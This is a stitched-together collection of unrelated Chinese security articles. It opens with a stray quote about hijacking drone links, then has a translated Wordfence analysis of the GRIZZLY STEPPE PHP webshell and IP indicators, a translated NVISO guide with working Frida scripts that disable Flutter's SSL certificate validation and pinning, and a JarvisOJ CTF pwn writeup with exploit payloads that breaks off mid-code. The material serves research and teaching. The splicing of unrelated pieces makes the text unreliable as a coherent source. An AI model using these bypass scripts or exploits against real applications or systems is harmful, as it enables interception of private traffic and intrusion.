Rodday在其研究报告中写到：“尽管与普通民用无人机的飞行控制系统相比，高端专用无人机飞行控制系统的造价要昂贵得多。但是高端专用无人机所采取的安全保护措施仍然无法提供有效的安全保障。攻击者可以对无人机的XBee通信模块进行中间人攻击，因为设备既没有对通信数据进行加密处理，也没有部署任何的身份验证机制。攻击者在劫持了通信链路之后，就可以向通信数据中注入控制命令了。这样一来，攻击者就能够随意控制你的无人机了。” | 社区文章 |
# 【技术分享】美国FBI和DHS联合报告之技术性解读
|
##### 译文声明
本文是翻译文章，文章来源：wordfence.com
原文地址：<https://www.wordfence.com/blog/2016/12/russia-malware-ip-hack/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
美国政府近几个月正式[指责俄罗斯](https://www.washingtonpost.com/world/national-security/us-government-officially-accuses-russia-of-hacking-campaign-to-influence-elections/2016/10/07/4e0b9654-8cbf-11e6-875e-2c1bfe943b66_story.html?utm_term=.cfc384b87313)干涉美国大选，去年10月7日，国土安全部和国家情报局[发布联合声明](https://www.dhs.gov/news/2016/10/07/joint-statement-department-homeland-security-and-office-director-national)：美国情报界（USIC）相信，俄罗斯政府用电子邮件攻击美国的个人和机构，包括美国的政治组织。
12月29日，[奥巴马政府](https://www.washingtonpost.com/world/national-security/obama-administration-announces-measures-to-punish-russia-for-2016-election-interference/2016/12/29/311db9d6-cdde-11e6-a87f-b917067331bb_story.html?utm_term=.34642a8f19d3)宣布将驱逐35名俄罗斯外交官，并关闭两个俄罗斯在美国的设施，作为俄罗斯干预美国2016年大选的惩罚。
**DHS和 DNI联合发布分析报告**
此外，12月29日美国国土安全部（DHS）和美国国家情报局（DNI）[联合发布了一份分析报告](https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity)。该报告由DHS和FBI编制，他们声称俄罗斯代号为“草原灰熊”的黑客组织干扰了美国大选。
在这份报告中有这样一段：“本文档提供俄罗斯非军事和军事情报机构(RIS)所使用的工具和基础设施的技术细节，及攻击美国大选的网络和节点、政府、政党和私营部门等情况，这个报告包含明确的攻陷标志，包括IP地址和一个PHP恶意样本。”
因为Wordfence公司主要从事WordPress相关安全工作，因为WordPress是用PHP写的，因此，我们的安全分析师花了大量时间对这个PHP恶意样本进行了分析。
作为一个有趣的小项目，我们分析了美国政府提供PHP恶意样本，及公布的IP地址[[Source]](https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity)。
我们分析DHS提供的PHP恶意样本数据。同时，我们也试图找到完整的恶意样本。我们发现攻击者试图用它来感染WordPress网站，还好，我们成功发现了完整的恶意样本，并过滤出来了。下面就是。
上图是头部，下图是尾部。中间包含了一个加密的文本块。
这是上传到一个服务器上的PHP恶意软件。攻击者可以通过浏览器访问、并需要输入一个密码。这个密码同时也是一个解密密钥，这个密钥会解密中间的加密块，然后执行解密的块。一旦攻击者输入了他们的密码，会自动存储一个cookie，以后攻击者再访问PHP恶意软件时，就不用再输入密码了。
我们对一个攻击者的HTTP请求进行了嗅探，成功抓到了他们的密码，密码是“avto”。我们使用这个密码对加密块进行解密。
下面是解密的文本，看起来像是PHP代码。这是一大块PHP代码，是一个WEBSHELL。
我们将这个WEBSHELL安装到了沙盒环境中，下面是它的界面：
这种类型的WEBSHELL，我们经常能看到，它包含了以下几个基本功能：
1.文件浏览器/资源管理器。
2.文件搜索功能。
3.一个能下载数据库内容的黑客数据库客户端。
4.端口扫描工具，及将某服务绑定到特定端口的功能。
5.对FTP和POP3服务进行暴力破解的功能。
6.运行任意操作系统命令的命令行客户端。
7.查看服务器配置信息的功能。
通过查看源代码，我们可以找到恶意软件的名称和版本，它是“P.A.S. 3.1.0”。
我们在GOOGLE上搜索了该恶意软件，发现有一个网站可以在线生成这个恶意软件(目前已经无法访问到)。
你可以在网页中输入一个密码，这个密码就是生成的PHP恶意软件的密码。然后点击“download”按键，可以下载一个ZIP文件。文件中包含了一个TXT文件和该PHP恶意软件。
这个网站声称该PHP恶意软件是乌克兰人制作的，同时，PHP恶意代码的底部有乌克兰的国家代码“UA”。
不过，在网站上生成的PHP恶意软件版本是3.1.7，这比DHS声称的版本(3.1.0)要新，不过，这两个版本的PHP恶意软件代码相差不多，下图是3.1.7版本的头部：
下图是尾部：
但是这个PAS恶意软件从3.1.7以后有了更深的发展，新版本是4.1.1b，可以从相同的网站中得到：
下面是4.1.1b版本的info.txt文件的内容：
并且，4.1.1b版本的代码变化相当大，下图是它的头部：
**PAS怎么感染WordPress网站？**
下面是DHS的PAS 3.1.0样本的一个典型感染过程：
上面是一个HTTP请求，包含了需要上传的PAS
3.1.0恶意软件，利用了WordPress正常插件更新机制。让我们感到惊奇的是这个请求有完整的cookies，表明这个帐号或机器已经是登录的，且这很有可能是一个实际的WEB浏览器。
还包含了WordPress的“nonce”功能(Nonce是WordPressr的一个安全功能，可以防止受到CSRF的攻击)，这是一个安全功能，这也表明这可能是一个合法的登录帐号。我们看到只有25%的攻击者请求中包含了WordPress的“nonce”，这也说明有很多这样的尝试是失败的。
我们看到：大部分攻击者尝试用PAS
3.1.0攻击目标时都用的这种请求方法，但是发这样的请求包是需要登录进去的，那么攻击者到底是怎么实现的呢？在这里我们假想一下可能性：
1.WordPress网站拥有者将恶意软件安装到了自己的工作站，该恶意软件试图在自己的WordPress网站安装PAS 3.1.0。
2.这是CSRF，跨站请求伪造攻击，并安装了恶意软件。这不太可能，因为在许多请求中包含了“nonce”，而nonce的功能就是防御CSRF攻击。
3.用户从一个他认为安全的恶意网站上下载了恶意软件，然后自愿安装在自己的网站上。不太像，因为上传的是明文的PHP文件，如果用户检查文件的内容是很容易发现的。
4.攻击者通过其他的手段攻破了网站，然后在正常浏览器下，使用登录凭证登录到网站中，并安装了PAS 3.1.0。这些登录可以部分或完全自动化。
**关于恶意软件的总结**
DHST和DNI发布的联合声明是这样说的：
“本文档提供俄罗斯非军事和军事情报机构(RIS)所使用的工具和基础设施的技术细节，及攻击美国大选网络和节点、政府、政党和私营部门等情况，这个报告包含明确的攻击指标，包括IP地址和一个PHP恶意样本。”
声明中提供的PHP恶意软件样本似乎是P.A.S
3.1.0，这是一个通用的恶意软件，并且该恶意软件的作者在他们的网站上声明自己是乌克兰人，并且该恶意软件版本比较多，最新的是P.A.S
4.1.1b。人们可能会期望‘俄罗斯’情报局开发他们自己的工具，或者至少使用外部来源的最新恶意软件。
**分析DHS和DNI提供的IP地址**
DNS提供了876个IP地址，作为攻陷标志的一部分。让我们看一看这些IP地址位于哪里，下图显示了IP地址按国家排列的分布情况：
正如你看到的，它们分布在全球范围内，美国占了很大一部分。
下图是按ISP排列的部分结果：
还有几个托管公司，如[OVH SAS](https://www.ovh.com/us/)，[Digital
Ocean](https://www.digitalocean.com/)，[Linode](https://www.linode.com/)和[Hetzner](https://www.hetzner.de/fi/)。这些托管公司给WordPress用户和其他PHP应用软件用户提供低成本的托管服务。我们在业内可以看到一个黑客攻击的常见模式，就是托管主机上的帐户被攻破，然后被用于在网上发动攻击。
在876个IP地址之外，DHS还提供了134个其他IP，占15%，全是是TOR的出口节点IP。这些是匿名网关，可以为任何人提供匿名浏览服务。
我们检查了我们的攻击数据库，想看一看DHS提供的IP有哪些同时在攻击
Wordfence用户的网站。我们在过去60天内总共发现了385个活跃的IP地址。这些IP地址在60天内发起了21095492次复杂的攻击，这些攻击都被[Wordfence](https://www.wordfence.com/)防火墙拦截了。我们认为攻击者的每一次复杂的攻击，都有可能是在尝试利用一个漏洞，用于获取目标的权限。
同时在这一时期，我们也记录到了14463133次针对WordPress的暴力破解攻击。
下面的图表显示了每个IP地址的攻击次数分布。这只考虑了复杂的攻击。正如你看到的，根据我们的监测，一小部分DHS提供的IP需要对这一时间被攻击的大部分WordPress网站负责。
下面是过去60天内，DHS报告提供的IP地址中，按复杂攻击次数排序的前50个IP地址。
正如你看到的，有很多排名靠前的IP址是TOR的出口节点IP。根据我们的监测，还有一此相对较少的IP地址，发动了大多数对网站的攻击。
**关于IP地址数据的总结**
我们看到的IP地址来自于广泛的国家和托管服务提供商。15%的IP地址是TOR的出口节点。这些出口节点可以被任何匿名用户使用，包括恶意行为。
**总体总结**
DHS提供的IP地址可以被一个国家背景的攻击者用于攻击活动中，比如俄罗斯。但是他们似乎并没有提供明显的东西，来证明与俄罗斯有关联。这些IP地址可以被很多其它恶意行为利用，特别是15%的IP地址是TOR出口节点。
同时，报告中的PHP恶意样本的版本比较旧，该PHP恶意软件似乎是乌克兰人做的，并且被广泛使用。与俄罗斯情报机构似乎没有明显的关系，它可以是任何网站被攻陷的标志。
你可以在[github](https://github.com/wordfence/grizzly)里找到这个报告中用到的数据。
**相关说明**
需要说明的是，上面这篇报告发表以后，被世界广泛报道，很多人对我们的文章标题有一定的误解，对于这篇报告有很多疑问，针对这个问题，我们又发布了一篇FAQ，来解答各种疑问。它包含了我们研究结果的总结，回答了一些读者关心的问题。并提供了我们研究方法的背景。你可以在阅读这份报告之前或之后阅读它。
**国内相关报道**
<http://www.freebuf.com/news/124373.html>
**参考**
<https://www.wordfence.com/blog/2017/01/election-hack-faq/>
[http://www.aqniu.com/news-views/22113.html](http://www.aqniu.com/news-views/22113.html?utm_source=tuicool&utm_medium=referral) | 社区文章 |
`Flutter`是谷歌新的开源移动开发框架，其允许开发人员在此基础上编写代码库并构建`Android、iOS、Web`和`桌面`应用。
Flutter应用程序是用Dart编写的，而该语言是一种由Google在7年前创建的。
通常来说，在安全评估与bounty过程中，我们需要拦截移动应用程序和后端之间的流量，这通常通过添加`Burp`作为拦截代理来完成。其余代理应用很难满足其需求，但是Burp却有着很好的性能。
### TL;DR
* Flutter使用Dart，它不使用系统CA存储数据
* Dart使用编译到应用程序中的CA列表
* Dart在Android上不支持代理，因此我们需要使用带有iptables的ProxyDroid
* 获取x509.cc中的session_verify_cert_chain函数以禁用链相关的验证
* 我们可以直接使用本文底部的脚本，也可以按照以下步骤获取正确的字节或偏移量。
### 测试设置
为了执行我的测试，我安装了`flutter`插件并创建了一个`Flutter`应用程序，它带有一个默认的交互式按钮并可以递增计数器。
我修改它以通过HttpClient类获取URL：
class _MyHomePageState extends State<MyHomePage> {
int _counter = 0;
HttpClient client;
_MyHomePageState()
{
_start();
}
void _start() async
{
client = HttpClient();
}
void _incrementCounter() {
setState(() {
if(client != null)
{
client
.getUrl(Uri.parse('http://www.nviso.eu')) // produces a request object
.then((request) => request.close()) // sends the request
.then((response) => print("SUCCESS - " + response.headers.value("date")));
_counter++;
}
});
}
该应用程序可以使用flutter build aot进行编译，并通过adb install推送到设备。
每次按下按钮，都会向`http://www.nviso.eu`发送一个消息，如果成功则会打印到设备日志中。
在我的设备上，我通过`Magisk-Frida-Server`安装了`Frida`，我的`Burp`证书通过`MagiskTrustUserCerts`模块添加到系统CA商店。然而即使应用程序日志表明请求成功，Burp也看不到任何流量。
### 通过ProxyDroid/iptables向代理发送流量
HttpClient有一个findProxy方法，其文档中交代非常清楚：默认情况下，所有流量都直接发送到目标服务器，而不考虑任何代理设置：
设置用于解析代理服务器的函数使得该代理服务器可以打开指定URL的HTTP连接。 如果未设置此功能，将始终使用直接连接。
应用程序可以将此属性设置为`HttpClient.findProxyFromEnvironment`，它会搜索特定的环境变量，例如`http_proxy`和`https_proxy`。即使应用程序将使用此实现进行编译，但在Android上它将毫无用处，因为所有应用程序都是初始`zygote`进程的子级，没有这些环境变量。
这里我们也可以定义一个返回首选代理的自定义`findProxy`。 修改测试应用程序后我发现此配置将所有HTTP数据发送到我的代理：
client.findProxy = (uri) {
return "PROXY 10.153.103.222:8888";
};
当然，我们无法在黑盒评估期间修改应用程序，因此需要另一种方法。 然而，我们有iptables将所有流量从设备路由到我们的代理。
在`rooted`设备上，`ProxyDroid`处理得非常好，我们可以看到所有HTTP流量都流经Burp。
### 拦截HTTPS流量
这是更棘手的地方。如果我将URL更改为HTTPS，Burp会显示SSL握手失败。这很奇怪，因为我的设备设置为将我的Burp证书包含为受信任的根CA。
经过一些研究，我最终得到了一个解释`Windows`的`GitHub`问题，但同样适用于`Android:Dart`使用Mozilla的NSS库生成并编译自己的Keystore。
这意味着我们无法通过将代理CA添加到系统CA存储来绕过SSL验证。
为了解决这个问题，我们必须深入研究`libflutter.so`并找出我们需要修补或挂钩以验证我们的证书。
Dart使用Google的BoringSSL来处理与SSL相关的所有内容，幸运的是Dart和BoringSSL都是开源的。
在向Burp发送HTTPS流量时，Flutter应用程序实际上会抛出错误，我们可以将其作为起点：
E/flutter (10371): [ERROR:flutter/runtime/dart_isolate.cc(805)] Unhandled exception:
E/flutter (10371): HandshakeException: Handshake error in client (OS Error:
E/flutter (10371): NO_START_LINE(pem_lib.c:631)
E/flutter (10371): PEM routines(by_file.c:146)
E/flutter (10371): NO_START_LINE(pem_lib.c:631)
E/flutter (10371): PEM routines(by_file.c:146)
E/flutter (10371): CERTIFICATE_VERIFY_FAILED: self signed certificate in certificate chain(handshake.cc:352))
E/flutter (10371): #0 _rootHandleUncaughtError. (dart:async/zone.dart:1112:29)
E/flutter (10371): #1 _microtaskLoop (dart:async/schedule_microtask.dart:41:21)
E/flutter (10371): #2 _startMicrotaskLoop (dart:async/schedule_microtask.dart:50:5)
E/flutter (10371): #3 _runPendingImmediateCallback (dart:isolate-patch/isolate_patch.dart:116:13)
E/flutter (10371): #4 _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:173:5)
我们需要做的第一件事是在`BoringSSL`库中找到这个错误。该错误实际上向我们显示了触发错误的位置：`handshake.cc:352`。
`Handshake.cc`确实是`BoringSSL`库的一部分，并且包含执行证书验证的逻辑。 第352行的代码如下所示，这很可能是我们看到的错误。
行号不完全匹配，但这很可能是版本差异的结果。
if (ret == ssl_verify_invalid) {
OPENSSL_PUT_ERROR(SSL, SSL_R_CERTIFICATE_VERIFY_FAILED);
ssl_send_alert(ssl, SSL3_AL_FATAL, alert);
}
这是ssl_verify_peer_cert函数的一部分，该函数返回ssl_verify_result_t枚举，它在第2290行的ssl.h中定义：
enum ssl_verify_result_t BORINGSSL_ENUM_INT {
ssl_verify_ok,
ssl_verify_invalid,
ssl_verify_retry,
};
如果我们可以将`ssl_verify_peer_cert`的返回值更改为`ssl_verify_ok(= 0)`。
但是，这种方法正在进行很多工作，而Frida只能改变函数的返回值。 如果我们改变这个值，它仍会因为上面的`ssl_send_alert()`函数调用而失败。
让我们找一个更好的方法。 来自handshake.cc的片段正上方是以下代码，它是验证链方法的部分：
ret = ssl->ctx->x509_method->session_verify_cert_chain(
hs->new_session.get(), hs, &alert)
? ssl_verify_ok
: ssl_verify_invalid;
`session_verify_cert_chain`函数在第362行的`ssl_x509.cc`中定义。此函数返回原始数据类型，并且是更好的备选方案。
如果此函数中的检查失败，则它通过OPENSSL_PUT_ERROR报告问题，但它没有像`ssl_verify_peer_cert`函数那样的副作用。
`OPENSSL_PUT_ERROR`是err.h中第418行定义的宏，其包括源文件名。 这与用于Flutter应用程序的错误的宏相同。
#define OPENSSL_PUT_ERROR(library, reason) \
ERR_put_error(ERR_LIB_##library, 0, reason, __FILE__, __LINE__)
现在我们知道要锁定哪个函数，我们需要在libflutter.so中找到它。
在session_verify_cert_chain函数中多次调用OPENSSL_PUT_ERROR宏可以使用Ghidra轻松找到正确的方法。
因此将库导入Ghidra，使用搜索查找字符串并搜索x509.cc.
只有4个XREF，因此很容易查看它们并找到一个看起来像`session_verify_cert_chain`函数：
其中一个函数需要2个整数，1个'未定义'并且包含对`OPENSSL_PUT_ERROR(FUN_00316500)`的单个调用。
在我的`libflutter.so`版本中，这是`FUN_0034b330`。我们现在通常要做的是计算此函数与其中一个导出函数的偏移量。我通常复制函数的前10个字节，并检查该模式出现的频率。如果它只出现一次，我知道我找到了这个功能，我可以锁定它。因为我经常可以对库的不同版本使用相同的脚本。然而使用基于偏移的方法会更加困难。
所以现在我们让Frida在libflutter.so库中搜索这个模式：
var m = Process.findModuleByName("libflutter.so");
var pattern = "2d e9 f0 4f a3 b0 82 46 50 20 10 70"
var res = Memory.scan(m.base, m.size, pattern, {
onMatch: function(address, size){
console.log('[+] ssl_verify_result found at: ' + address.toString());
},
onError: function(reason){
console.log('[!] There was an error scanning memory');
},
onComplete: function()
{
console.log("All done")
}
});
在我的Flutter应用程序上运行此脚本会产生一个结果：
(env) ~/D/Temp » frida -U -f be.nviso.flutter_app -l frida.js --no-pause
[LGE Nexus 5::be.nviso.flutter_app]-> [+] ssl_verify_result found at: 0x9a7f7040
All done
现在我们只需要使用Interceptor将返回值更改为1(true)：
function hook_ssl_verify_result(address)
{
Interceptor.attach(address, {
onEnter: function(args) {
console.log("Disabling SSL validation")
},
onLeave: function(retval)
{
console.log("Retval: " + retval)
retval.replace(0x1);
}
});
}
function disablePinning()
{
var m = Process.findModuleByName("libflutter.so");
var pattern = "2d e9 f0 4f a3 b0 82 46 50 20 10 70"
var res = Memory.scan(m.base, m.size, pattern, {
onMatch: function(address, size){
console.log('[+] ssl_verify_result found at: ' + address.toString());
// Add 0x01 because it's a THUMB function
// Otherwise, we would get 'Error: unable to intercept function at 0x9906f8ac; please file a bug'
hook_ssl_verify_result(address.add(0x01));
},
onError: function(reason){
console.log('[!] There was an error scanning memory');
},
onComplete: function()
{
console.log("All done")
}
});
}
setTimeout(disablePinning, 1000)
设置`ProxyDroid`并使用此脚本启动应用程序后，我们现在终于可以看到HTTP流量：
我已经在一些`Flutter`应用程序上对此进行了测试，这种方法适用于所有这些应用程序。
由于`BoringSSL`库很可能保持相当稳定，因此这种方法可能会在未来一段时间内发挥作用。
### 禁用SSL固定(SecurityContext)
最后，让我们看看应该如何绕过`SSL Pinning`。实现此目的的一种方法是定义包含特定证书的新`SecurityContext`。
虽然这在技术上不是SSL固定，但通常会实施它以防止轻松窃听通信信道。
对于我的应用程序，我添加了以下代码，让它只接受我的打嗝证书。`SecurityContext`构造函数接受一个参数`withTrustedRoots`，其默认为false。
ByteData data = await rootBundle.load('certs/burp.crt');
SecurityContext context = new SecurityContext();
context.setTrustedCertificatesBytes(data.buffer.asUint8List());
client = HttpClient(context: context);
应用程序现在将自动接受我们的`Burp`代理作为任何网站的证书，这表明此方法可用于指定应用程序必须遵守的特定证书。
如果我们现在将其切换到nviso.eu证书，我们就不能再拦截其连接。
然而，上面列出的Frida脚本已经绕过了这种`root-ca-pinning`实现，因为底层逻辑仍然依赖于BoringSSL库的相同方法。
### 禁止SSL(ssl_pinning_plugin)
Flutter开发人员想要执行ssl Pinning的方法之一是通过ssl_pinning_plugin
flutter插件。此插件实际上旨在发送一个HTTPS连接并验证证书，之后开发人员将信任该通道并执行HTTPS请求：
`void testPin()` `async`
`{`
`List<String> hashes =` `new` `List<String>();`
`hashes.add(``"randomhash"``);`
`try`
`{`
`await` `SslPinningPlugin.check(serverURL:` `"[https://www.nviso.eu](https://www.nviso.eu/)"``, headerHttp :` `new` `Map(), sha: SHA.SHA1, allowedSHAFingerprints: hashes, timeout : 50);`
`doImportanStuff()`
`}``catch``(e)`
`{`
`abortWithError(e);`
`}`
`}`
该插件是Java实现的桥梁，我们可以轻松地与Frida进行连接：
function disablePinning()
{
var SslPinningPlugin = Java.use("com.macif.plugin.sslpinningplugin.SslPinningPlugin");
SslPinningPlugin.checkConnexion.implementation = function()
{
console.log("Disabled SslPinningPlugin");
return true;
}
}
Java.perform(disablePinning)
### 结论
本文中提到的方法均有研究的价值，由于Dart和BoringSSL都是开源的，所以我们的实验非常顺利。
由于只有一些字符串，所以即使没有任何符号，也很容易找到禁用ssl验证逻辑的正确位置。
我扫描函数的方法并不总是有效，但由于BoringSSL非常稳定，所以本文中提到的方法同样有具有一定效果。
本文为翻译文章，来自：https://blog.nviso.be/2019/08/13/intercepting-traffic-from-android-flutter-applications/ | 社区文章 |
# JarvisOJ All Pwn Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## JarvisOJ-all-pwn-Writeup
解决了 [_jarvisOJ_](https://www.jarvisoj.com/login) 至今 （2018.9.19）的所有 pwn 题目，分享一下
writeup。做题目的过程中参考了很多师傅的 writeup，在 Reference 中贴出了师傅们的博客，感谢师傅们的分享。
题目较多，对于网上有较多 writeup 的题目，不再详细分析，只列出思路；着重分析 writeup 较少的题目。
## [XMAN]level0 (50)
最简单的栈溢出，给了能直接拿 shell 的函数，覆盖返回地址为该函数地址即可
+----------+
|........ |
|padding |
|........ |
| |
+----------+
|padding | <- rbp
+----------+
|callsystem| <- ret addr
+----------+
payload = '0' * (0x80 + 0x8) + p64(ELF("./level0").sym['callsystem'])
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level0/solve.py)
## Tell Me Something (100)
与上一题几乎完全一样，不再分析
payload = '0' * (0x80 + 0x8) + p64(ELF("./guestbook").sym['good_game'])
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_Tell_Me_Something/solve.py)
## [XMAN]level1 (100)
有栈溢出漏洞，没有开 NX 保护，因此可以用 shellcode
+----------+
|shellcode | <-----------+
|shellcode | |
|........ | |
|junk data | |
|........ | |
| | |
+----------+ |
|junk data | <- ebp |
+----------+ |
|buf addr | <- ret add -+
+----------+
payload = asm(shellcraft.sh()).ljust(0x88 + 0x4, '\0') + p32(buf_addr)
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level1/solve.py)
## [XMAN]level2 (150)
存在栈溢出，程序中有 **system** 函数 和 **/bin/sh** 字符串，根据函数调用约定，32
位程序函数的参数是放在栈上的，因此可以通过伪造一个调用 **system(“/bin/sh”)** 的栈结构来 get shell
+---------------+
|padding |
|....... |
| |
| |
| |
+---------------+
|padding | <- ebp
+---------------+
|system addr | <- ret addr
+---------------+
|junk data | <- system ret
+---------------+
|/bin/sh addr |
+---------------+
payload = flat(cyclic(0x88 + 4), elf.sym['system'], 'aaaa', next(elf.search("/bin/sh")))
# 此时程序运行流程为 vulnerable_function -> system("/bin/sh") -> junk data，因为我们已经执行了 system("/bin/sh")，因此 system("/bin/sh") 的返回地址（即 junk data 可以随便指定）
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level2/solve.py)
## Typo (150)
这道题目特殊在程序是 arm 架构的，但其实只是一个简单的 rop，把环境搭建好后并不难。
我在另一篇博文中以这道题目为例分析了 arm 的 pwn，包括了运行和调试的环境搭建，以及恢复符号，[
_链接_](http://m4x.fun/post/arm_pwn/)。
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_typo/solve.py)
## [XMAN]level2_x64 (200)
与 level2 相比思路基本一致，不同的是这道题目是 64 位的，64 位与 32 位的传参规则不同，需要用到 rop 控制寄存器，网上有很多分析 rop
的文章，这里就不介绍了。
+--------------+
|padding |
|...... |
| |
| |
| |
+--------------+
|padding | <- rbp
+--------------+
|prdi addr | <- ret addr
+--------------+
|/bin/sh addr |
+--------------+
|system addr |
+--------------+
payload = flat(cyclic(0x88), prdi, next(elf.search("/bin/sh")), elf.sym['system'])
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level2_x64/solve.py)
## [XMAN]level3 (200)
标准的 ret2libc，先通过 rop 控制 puts 出某个 GOT 中的地址以找到 libc 的基址（elf
的延迟绑定网上也有很多分析的文章，这里也不介绍了），有了 libc 的基地址后，libc 中的所有函数和字符串的地址就知道了，构造一个
**system(“/bin/sh”)** 的函数调用栈即可
+-----------+
|padding |
|...... |
| |
| |
+-----------+
|padding | <- ebp
+-----------+
|write@plt | <- ret addr
+-----------+
|_start addr| # write(1, write@got, 4) -> _start
+-----------+
|1 |
+-----------+
|write@got |
+-----------+
|4 |
+-----------+
+-----------+
|padding |
|...... |
| |
+-----------+
|padding | <- ebp
+-----------+
|system | <- ret addr
+-----------+- |junk data | # system("/bin/sh") -> junk data
+-----------+
|/bin/sh addr
+-----------+
leak = flat(cyclic(0x88 + 4), elf.plt['write'], elf.sym['_start'], 1, elf.got['write'], 4)
rop = flat(cyclic(0x88 + 4), libc.sym['system'], 'aaaa', next(libc.search("/bin/sh")))
新手容易犯的一个错误是本地和远程的 libc 混用，不同版本的 libc 函数的偏移一般不同，所以本地测试和远程需要使用对应的 libc，本地调试时可以通过
LD_PRELOAD=./libc_path ./binary 来指定 libc（版本相差过大时可能会出错）
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level3/solve.py)
## Smashes (200)
ssp 攻击，大致原理是覆盖 __libc_argv[0]，触发栈溢出，通过报错来 leak 某些信息。[
_veritas501_](https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/)
师傅对这种方法做过很优秀的分析。
通过调试可以快速确定覆盖所需的偏移量以及重映射后 flag 的地址
pwndbg> stack 50
00:0000│ rax rsp rdi-1 0x7fffffffddd0 ◂— 0x31313131313131 /* u'1111111' */
01:0008│ 0x7fffffffddd8 ◂— 0x0
... ↓
15:00a8│ 0x7fffffffde78 —▸ 0x7ffff7dd3760 (_IO_2_1_stdout_) ◂— 0xfbad2887
16:00b0│ 0x7fffffffde80 ◂— 0x0
17:00b8│ 0x7fffffffde88 —▸ 0x7ffff7a99b82 (_IO_default_setbuf+66) ◂— cmp eax, -1
18:00c0│ 0x7fffffffde90 ◂— 0x0
19:00c8│ 0x7fffffffde98 —▸ 0x7ffff7dd3760 (_IO_2_1_stdout_) ◂— 0xfbad2887
1a:00d0│ 0x7fffffffdea0 ◂— 0x0
... ↓
1c:00e0│ 0x7fffffffdeb0 —▸ 0x7ffff7dcf2a0 (_IO_file_jumps) ◂— 0x0
1d:00e8│ 0x7fffffffdeb8 —▸ 0x7ffff7a966f9 (_IO_file_setbuf+9) ◂— test rax, rax
1e:00f0│ 0x7fffffffdec0 —▸ 0x7ffff7dd3760 (_IO_2_1_stdout_) ◂— 0xfbad2887
1f:00f8│ 0x7fffffffdec8 —▸ 0x7ffff7a8dc37 (setbuffer+231) ◂— test dword ptr [rbx], 0x8000
20:0100│ 0x7fffffffded0 —▸ 0x7ffff7de70e0 (_dl_fini) ◂— push rbp
21:0108│ 0x7fffffffded8 ◂— 0xe2daa1a4cd530600
22:0110│ 0x7fffffffdee0 —▸ 0x4008b0 ◂— push r15
23:0118│ 0x7fffffffdee8 ◂— 0x0
24:0120│ 0x7fffffffdef0 —▸ 0x4008b0 ◂— push r15
25:0128│ 0x7fffffffdef8 —▸ 0x4006e7 ◂— xor eax, eax
26:0130│ 0x7fffffffdf00 ◂— 0x0
27:0138│ 0x7fffffffdf08 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov edi, eax
28:0140│ 0x7fffffffdf10 ◂— 0x0
29:0148│ 0x7fffffffdf18 —▸ 0x7fffffffdfe8 —▸ 0x7fffffffe312 ◂— 0x346d2f656d6f682f ('/home/m4')
2a:0150│ 0x7fffffffdf20 ◂— 0x100000000
2b:0158│ 0x7fffffffdf28 —▸ 0x4006d0 ◂— sub rsp, 8
2c:0160│ 0x7fffffffdf30 ◂— 0x0
2d:0168│ 0x7fffffffdf38 ◂— 0xeab3e86e873f94c
2e:0170│ 0x7fffffffdf40 —▸ 0x4006ee ◂— xor ebp, ebp
2f:0178│ 0x7fffffffdf48 —▸ 0x7fffffffdfe0 ◂— 0x1
30:0180│ 0x7fffffffdf50 ◂— 0x0
... ↓
pwndbg> distance 0x7fffffffdfe8 0x7fffffffddd0
0x7fffffffdfe8->0x7fffffffddd0 is -0x218 bytes (-0x43 words)
pwndbg> search CTF{
smashes 0x400d21 push r12
smashes 0x600d21 0x657265487b465443 ('CTF{Here')
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2e83, halting search.
pwndbg>
因此可以构造如下的 payload
payload = flat(cyclic(0x218), 0x400d21)
或者可以用一种更暴力的方法，不计算偏移量，直接用 flag 地址暴力覆盖过去
payload = p64(0x400d21) * 100
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_Smashes/solve.py)
## [61dctf]fm (200)
格式化字符串漏洞的入门题目，格式化字符串漏洞的原理也可以找到很多分析，这里不说了。这道题目中只需要修改一个全局变量的值为 4 即可
payload = p32(ELF("./fm").sym['x']) + "%11$n"
# 或者使用 fmtstr_payload()
payload = fmtstr_payload(11, {ELF("./fm").sym['x']: 4})
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_fm/solve.py)
## Backdoor (200)
一个 windows 的题目，其实更像一个逆向题目。
在 sub_401000 函数中存在栈溢出
int __cdecl sub_401000(char *Source)
{
char Dest[31]; // [esp+4Ch] [ebp-20h]
strcpy(Dest, "0");
*(_DWORD *)&Dest[2] = 0;
*(_DWORD *)&Dest[6] = 0;
*(_DWORD *)&Dest[10] = 0;
*(_DWORD *)&Dest[14] = 0;
*(_DWORD *)&Dest[18] = 0;
*(_DWORD *)&Dest[22] = 0;
*(_DWORD *)&Dest[26] = 0;
*(_WORD *)&Dest[30] = 0;
strcpy(Dest, Source); // overflow
return 0;
}
Source 是由 argv[1] 以及程序中的 xor，qmemcpy 等操作共同决定的。看一下进行了哪些操作
signed int __cdecl wmain(int argc, char **argv)
{
char v3[145]; // [esp+50h] [ebp-2C8h]
char v4; // [esp+E1h] [ebp-237h]
char v5[28]; // [esp+E4h] [ebp-234h]
char Source[5]; // [esp+100h] [ebp-218h]
__int16 i; // [esp+108h] [ebp-210h]
char Dest[512]; // [esp+10Ch] [ebp-20Ch]
